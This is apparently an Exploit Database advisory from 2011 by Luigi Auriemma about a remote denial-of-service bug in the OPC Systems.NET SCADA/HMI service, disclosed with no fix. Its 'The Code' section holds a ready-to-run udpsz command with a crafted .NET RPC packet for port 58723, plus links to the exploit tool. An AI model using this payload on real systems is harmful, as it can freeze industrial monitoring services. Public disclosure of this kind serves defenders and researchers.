OPC Systems.NET 4.00.0048 – Denial of Service

• Exploit Database
• 108 阅读

• 作者： Luigi Auriemma
  日期： 2011-10-10
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17965/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77

  #######################################################################   Luigi Auriemma   Application:OPC Systems.NET http://www.opcsystems.com/opc_systems_net.htm Versions: <= 4.00.0048 Platforms:Windows Bug:Denial of Service Exploitation: remote Date: 10 Oct 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web:aluigi.org     #######################################################################     1) Introduction 2) Bug 3) The Code 4) Fix     #######################################################################   =============== 1) Introduction ===============     From vendor&apos;s website: "As a Service Oriented Architecture the OPC Systems Service can connect to data from OPC Servers, OPC Clients, Visual Studio Applications, Microsoft Excel, and databases ... breakthrough .NET products for SCADA, HMI, and plant floor to business solutions to shorten your development to deployment time."     #######################################################################   ====== 2) Bug ======     OPCSystemsService.exe can be freezed with CPU at 100% through a malformed .NET RPC packet. No additional research performed.     #######################################################################   =========== 3) The Code ===========     http://aluigi.org/testz/udpsz.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17879.zip   udpsz -l 2000 -c ".NET\1\0\0\0\0\0\xff\xff\xff\xff\4\0\1\1\x25\0\0\0tcp://127.0.0.1/OPC Systems Interface\6\0\1\1" -T SERVER 58723 0x80     #######################################################################   ====== 4) Fix ======     No fix.     #######################################################################